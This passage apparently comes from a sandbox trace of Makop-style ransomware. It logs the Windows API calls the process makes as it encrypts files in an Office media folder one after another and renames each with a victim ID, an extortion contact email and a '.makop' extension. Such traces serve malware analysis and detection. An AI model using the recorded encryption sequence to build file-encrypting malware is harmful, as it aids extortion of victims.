pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.357] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.357] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x213c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x213c, lpOverlapped=0x0) returned 1 [0166.358] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x2140, dwBufLen=0x2140 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x2140) returned 1 [0166.358] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.358] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x2140, lpOverlapped=0x0) returned 1 [0166.359] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2214, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.359] SetEndOfFile (hFile=0x130) returned 1 [0166.365] GetProcessHeap () returned 0x48a0000 [0166.365] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.365] GetProcessHeap () returned 0x48a0000 [0166.365] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.365] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18220_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18220_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.367] CloseHandle (hObject=0x130) returned 1 [0166.367] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0346a00, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa0346a00, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x72c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18221_.WMF", cAlternateFileName="")) returned 1 [0166.367] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF") returned 70 [0166.367] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.369] GetProcessHeap () returned 0x48a0000 [0166.369] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.370] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.370] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.370] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.374] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.374] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.374] GetProcessHeap () returned 0x48a0000 [0166.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.374] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.374] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.374] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.375] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.375] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.375] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.375] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.375] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.375] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.376] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.376] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x72c, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x72c, lpOverlapped=0x0) returned 1 [0166.376] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x730, dwBufLen=0x730 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x730) returned 1 [0166.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.376] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x730, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x730, lpOverlapped=0x0) returned 1 [0166.376] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.376] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x804, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.376] SetEndOfFile (hFile=0x130) returned 1 [0166.382] GetProcessHeap () returned 0x48a0000 [0166.382] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.382] GetProcessHeap () returned 0x48a0000 [0166.382] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.382] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.382] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18221_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18221_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.384] CloseHandle (hObject=0x130) returned 1 [0166.385] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb5a99400, ftCreationTime.dwHighDateTime=0x1bdcf1e, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb5a99400, ftLastWriteTime.dwHighDateTime=0x1bdcf1e, nFileSizeHigh=0x0, nFileSizeLow=0x756, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18222_.WMF", cAlternateFileName="")) returned 1 [0166.385] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF") returned 70 [0166.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.386] GetProcessHeap () returned 0x48a0000 [0166.386] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.386] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.386] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.386] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xa, lpOverlapped=0x0) returned 1 [0166.391] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.391] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.391] GetProcessHeap () returned 0x48a0000 [0166.391] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.391] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.391] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.391] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.391] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.391] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.391] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.392] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.392] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.392] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.392] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0x756, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x756, lpOverlapped=0x0) returned 1 [0166.392] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x760, dwBufLen=0x760 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x760) returned 1 [0166.392] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.393] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x760, lpOverlapped=0x0) returned 1 [0166.393] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.393] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.393] SetEndOfFile (hFile=0x130) returned 1 [0166.399] GetProcessHeap () returned 0x48a0000 [0166.399] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.399] GetProcessHeap () returned 0x48a0000 [0166.399] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.399] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.399] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18222_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18222_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.401] CloseHandle (hObject=0x130) returned 1 [0166.401] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ee4c100, ftCreationTime.dwHighDateTime=0x1bddb92, ftLastAccessTime.dwLowDateTime=0xbcc25d20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5ee4c100, ftLastWriteTime.dwHighDateTime=0x1bddb92, nFileSizeHigh=0x0, nFileSizeLow=0xc5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18223_.WMF", cAlternateFileName="")) returned 1 [0166.401] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF") returned 70 [0166.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.402] GetProcessHeap () returned 0x48a0000 [0166.402] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.402] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.402] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.403] WriteFile (in: hFile=0x130, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0166.407] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.407] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.407] GetProcessHeap () returned 0x48a0000 [0166.407] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.407] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.407] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.407] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.407] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.407] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.408] WriteFile (in: hFile=0x130, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.408] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0166.408] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.408] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.408] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.408] ReadFile (in: hFile=0x130, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc5a, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0xc5a, lpOverlapped=0x0) returned 1 [0166.409] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0xc60, dwBufLen=0xc60 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0xc60) returned 1 [0166.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.409] WriteFile (in: hFile=0x130, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc60, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0xc60, lpOverlapped=0x0) returned 1 [0166.409] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.409] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0166.409] SetEndOfFile (hFile=0x130) returned 1 [0166.415] GetProcessHeap () returned 0x48a0000 [0166.416] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0166.416] GetProcessHeap () returned 0x48a0000 [0166.416] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0166.416] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 117 [0166.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18223_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18223_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0166.417] CloseHandle (hObject=0x130) returned 1 [0166.418] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9730600, ftCreationTime.dwHighDateTime=0x1bdcf21, ftLastAccessTime.dwLowDateTime=0xbcc4be80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa9730600, ftLastWriteTime.dwHighDateTime=0x1bdcf21, nFileSizeHigh=0x0, nFileSizeLow=0x680, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD18224_.WMF", cAlternateFileName="")) returned 1 [0166.418] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF") returned 70 [0166.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18224_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18224_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0166.419] GetProcessHeap () returned 0x48a0000 [0166.419] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0166.419] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0166.420] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0166.420] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0166.420] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0166.420] GetProcessHeap () returned 0x48a0000 [0166.420] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0166.420] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6576010*=0x40) returned 1 [0166.420] CryptDestroyKey (hKey=0x48c7168) returned 1 [0166.420] WriteFile (in: hFile=0x130, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0166.424] WriteFile (in: hFile=0x130, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0166.424] WriteFile (in: hFile=0x130, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0166.424] WriteFile (in: hFile=0x130, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0166.425] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0166.425] WriteFile (in: hFile=0x130, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, 